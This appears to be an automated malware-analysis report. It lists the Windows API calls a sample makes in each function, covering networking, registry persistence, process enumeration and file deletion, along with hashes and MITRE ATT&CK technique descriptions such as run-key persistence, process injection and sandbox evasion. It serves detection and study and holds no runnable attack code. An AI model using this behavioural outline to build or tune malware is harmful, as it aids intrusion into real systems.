API ID: File$Close$Create$Value$Handle$AddressProclstrcat$Attributes$Process$lstrlen$DeleteOpenWritelstrcpy$EnvironmentExpandStrings$CurrentLibraryLoadTempTime$DirectoryErrorExitLastNameObjectProcess32SingleSleepSystemWaitlstrcmpi$MutexPathQueryReadStartupThreadwsprintf$FirstInfoNextPointerSizeSnapshotToolhelp32$ClassCommandComputerCountEnumHeapLineModulePriorityTerminateTickVersionWindows
String ID: %02X$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$f$tmp
API String ID: 2347958643-3449003397
Opcode ID: 4815703a75f863ab10b100253ed1074a169afd28bfc9926a5a05f6dc8c284ea3
Instruction ID: fcd3a91cfab7fa25ee27508f4df0295c9928967f58dd1d1f7e7acfc0775f1f2c
Opcode Fuzzy Hash: 4815703a75f863ab10b100253ed1074a169afd28bfc9926a5a05f6dc8c284ea3
Instruction Fuzzy Hash: D1233BB19443406AE630B6349D47F9B3A989B40318F140A3FFA89B61D3E77C9529C79F

Non-executed Functions

Function 0040355D Relevance: 23.0, APIs: 15, Instructions: 493networkregistrysleepCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: TimeValue$FileSleepSystemclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 1870287861-0
Opcode ID: d0b6cef66b800da90ba3467bf04fa9bfb8d2020867b52d5de8f0e7a8069a1da6
Instruction ID: 2ee653d2f7df55df6907a0a9b2e57412953aa95c4ecf6cadf6b3b4d2485eddb3
Opcode Fuzzy Hash: d0b6cef66b800da90ba3467bf04fa9bfb8d2020867b52d5de8f0e7a8069a1da6
Instruction Fuzzy Hash: E412D3B0A002149FDB20EF28CD45B997BB5AF45304F1482FAE808B73D1D7799A85CF59

Function 004019AA Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 229processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004019BF
Process32First.KERNEL32(00000000,?), ref: 00401A0A
CloseHandle.KERNEL32(00000000), ref: 00401C12

Strings

T2A, xrefs: 00401B56, 00401BB4

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: T2A
API String ID: 1083639309-2019523081
Opcode ID: 3b0f47bd1a5bf9f8010e0a9d41935c21d537d6427fc48c9c7731a0199396ee73
Instruction ID: 7c6136f779b091b801ec7ced044d4ecd4f532b5644714f746006db05a6c2f320
Opcode Fuzzy Hash: 3b0f47bd1a5bf9f8010e0a9d41935c21d537d6427fc48c9c7731a0199396ee73
Instruction Fuzzy Hash: 627108706482009BE710AB24DD41B9B3BB8AB45348F04453AF945E72E1F37CE669CB9A

Function 004038AA Relevance: 21.3, APIs: 14, Instructions: 306networksleepregistryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
Sleep.KERNEL32(00000000), ref: 004038FD
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: SleepTimeValue$FileSystemclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 104937078-0
Opcode ID: 59f52d4308e26f2c8992c92d3b2c4a8336bb46f4176d7e8b4135a0017782744e
Instruction ID: 51207a69c6f84e7cd26efe5e5962b9edc78a43a6ad57510283d07de6baf8f7fe
Opcode Fuzzy Hash: 59f52d4308e26f2c8992c92d3b2c4a8336bb46f4176d7e8b4135a0017782744e
Instruction Fuzzy Hash: 94C12C71A002149BDB20DF38CD49BD977B5AF44304F1082B6E509F72D1E7B99A58CF5A

Function 00402030 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 234networkstringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?), ref: 00402065
lstrlenA.KERNEL32(00000000,?), ref: 0040206E
htons.WS2_32(00000000), ref: 004020C9
inet_addr.WS2_32(?), ref: 004020F0
gethostbyname.WS2_32(?), ref: 00402107
socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
closesocket.WS2_32(00000000), ref: 00402169
wsprintfA.USER32 ref: 004021B5
send.WS2_32(00000000,?,00000000,00000000), ref: 004021C5
lstrcmpiA.KERNEL32(?,0040748A), ref: 00402206

Strings

0, xrefs: 004021EF

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: closesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0
API String ID: 2963668025-4108050209
Opcode ID: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction ID: 67f1582d9d65064009b7b38dedaf8d45dcb20af8a74f6ab8ff9eb660a5d02e62
Opcode Fuzzy Hash: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction Fuzzy Hash: 83810DB0E002045BD710AB749E49B5F76B8AB05314F0441B6EB05FB2D1E7FC9A59C79E

Function 004016E1 Relevance: 18.1, APIs: 12, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,00407160,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,0040228C), ref: 00401720
lstrlenA.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 00401751
lstrcatA.KERNEL32(?,00407120,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 0040177F
RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,00407120,?,?,?,?,?,?,?,00001000,00000000,?), ref: 00401795
RegQueryValueExA.ADVAPI32(?,004071A8,00000000,?,?,?,?,?,?,00020019,?,00407120), ref: 004017D2
RegOpenKeyExA.ADVAPI32(?,004071B4,00000000,00020019,?,?,?,?,?,?,?,?,?,00020019,?,00407120), ref: 00401817
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,?,?,00001000), ref: 0040189E
RegCloseKey.ADVAPI32(?), ref: 004018BD
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00020019,?,00407120), ref: 004018CF
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004018E8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 004018FF

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Close$EnumOpenValue$CreateQuerylstrcatlstrlen
String ID:
API String ID: 1447802672-0
Opcode ID: c2f4eb5dcb65888f86c7ad64f5aeb95159d8d2dc340fff86f7741a61dcbf7091
Instruction ID: 66e194334fdec41dc41c183a83ee0e0423d2cbbda799cea80f6bf4481fa86f55
Opcode Fuzzy Hash: c2f4eb5dcb65888f86c7ad64f5aeb95159d8d2dc340fff86f7741a61dcbf7091
Instruction Fuzzy Hash: 2941EEB2904344AAF73176219C0AF9B7B9C9B44348F14443FFE88B51D3E279962CC667

Function 0040151E Relevance: 15.1, APIs: 10, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004049C8,?,00000100,?,?,00000104), ref: 00401549
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000100,?,?,00000104), ref: 0040156D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00401588
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004015F1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401601
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401607
DeleteFileA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 0040160D

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 0d9829dfa8e08aa6c7748854afdc2d091dcfa343b8acebea5d3c5eb7fafc4fb7
Instruction ID: ead9107263b76718dec6335517b8b67c7343bef8d8983c19364d90e74fa0285a
Opcode Fuzzy Hash: 0d9829dfa8e08aa6c7748854afdc2d091dcfa343b8acebea5d3c5eb7fafc4fb7
Instruction Fuzzy Hash: 8021A1B1A802007AE53031757C03F5B369C8B84758F190A3BFE06B91D6F5BDE62941AF

Function 00401D76 Relevance: 12.1, APIs: 8, Instructions: 94networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401D9F
connect.WS2_32(00000000,?,00000010), ref: 00401DB3
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401DC9
WSAGetLastError.WS2_32 ref: 00401DDB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00401DF8

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction ID: 443f35bcad443bf4521d197b8b602cf4c8bc99f5fac3635e2f32846607df0921
Opcode Fuzzy Hash: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction Fuzzy Hash: E53191B15042005AE230AA65DD45FDF76EC9B8531CF00073EF999A62D1E678A62982EB

Function 004024CE Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 123stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00402520
lstrcpyA.KERNEL32(?,?), ref: 00402551
wsprintfA.USER32 ref: 004025A7
wsprintfA.USER32 ref: 004025C5
wsprintfA.USER32 ref: 00402620

Strings

%02X, xrefs: 004025BF
p!A, xrefs: 00402632

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$p!A
API String ID: 1876335253-3420651641
Opcode ID: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction ID: 2cea46374afef77fdc915a1e9f7db235c3865f046913e12eac0c1d1ce8585de9
Opcode Fuzzy Hash: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction Fuzzy Hash: 4F410331C002189BDB11EF68CD8979EBBF5BF40308F150176E815BB2D2D3B9A919C799

Function 00401912 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00405EB0), ref: 0040193D
wsprintfA.USER32 ref: 00401953
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040197D
RegCloseKey.ADVAPI32(?,?,?,00000300,?,?,?,?,?,00020019,?,?,?,00405EB0), ref: 0040198D
RegDeleteKeyA.ADVAPI32(?), ref: 0040199A

Strings

%s\%s, xrefs: 0040194D

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction ID: 17f0bcb135b28bc178a216f8b2dfa9435dc5451e8c8b02a629b5be3cc13ba035
Opcode Fuzzy Hash: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction Fuzzy Hash: C601ACB2A042047BE52075266D03F9B76ECCBC574CF11007AF909B61D1E5799F2981BF

Function 00401379 Relevance: 10.6, APIs: 7, Instructions: 51processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401393
CreateProcessA.KERNEL32(?,00407000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013AF
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,?,00407000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013C9
WaitForSingleObject.KERNEL32(?,000000FF,00000000,?,?), ref: 004013D9
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 004013ED
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 004013FC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?), ref: 00401405

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID:
API String ID: 881816827-0
Opcode ID: 23540df0282b53dc4e0cdbe067ed9abf83ee08cd0daae6381b3e11d49cf6d48d
Instruction ID: 3f95ffb7ecc753adf67741720bf5132c3bbf7ea7650a4e902ed5c82167082f99
Opcode Fuzzy Hash: 23540df0282b53dc4e0cdbe067ed9abf83ee08cd0daae6381b3e11d49cf6d48d
Instruction Fuzzy Hash: 8C01813180420476D6213A36AC07F0F7FA89B4576CF210A3DF959351EAE67D663D42AF

Function 00401439 Relevance: 9.1, APIs: 6, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,004074E0,00000000,0002001F,?,?,?,?,?,?,?,?,?,004053DB), ref: 00401455
RegQueryValueExA.ADVAPI32(?,0040751C,00000000,?,?,?,?,?,?,0002001F,?), ref: 00401482
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,0002001F,?), ref: 0040149E
RegOpenKeyExA.ADVAPI32(80000001,004074E0,00000000,0002001F,?,?,?,?,?,0002001F,?), ref: 004014BF
RegQueryValueExA.ADVAPI32(?,0040751C,00000000,?,?,?,?,?,?,0002001F,?,?,?,?,?,0002001F), ref: 004014F3

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: OpenQueryValue$Close
String ID:
API String ID: 2529929805-0
Opcode ID: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction ID: 4b3f21838edb9e41f667f6993cf98c5a1242fec43926aa3cdaef8ebd8d2009fd
Opcode Fuzzy Hash: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction Fuzzy Hash: 8C1187B2904300B7E700AA61AD46F2777ACBB8470DF11083EFD45B51D2F279DA288767

Function 00401EC9 Relevance: 7.6, APIs: 5, Instructions: 113networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 00401F45
recv.WS2_32(00000000,?,?,00000002), ref: 00401F5E
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401F7E
recv.WS2_32(00000000,?,-00000001,00000000), ref: 00401FB4
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401FC6

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction ID: c66e6617afff8c9d9109827ab4c11b99613a78ce40c43f432ca9f356368ad492
Opcode Fuzzy Hash: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction Fuzzy Hash: 0A31097040C3429BD731DE14C984B6BBAD8EB81358F24453FF589A62D1E3BD8445D7A7

Function 0040263A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004026B1

Strings

(, xrefs: 00402679

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: select
String ID: (
API String ID: 1274211008-3887548279
Opcode ID: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction ID: 6522e2537fb8c8e721883018bf3c6a7a4605c561a93ab5d2b210f47b7f02e7dc
Opcode Fuzzy Hash: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction Fuzzy Hash: 094172341083859BD3318F24C588BEBFBE4EB89314F24492FD8D9972C2D3B99865CB56

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
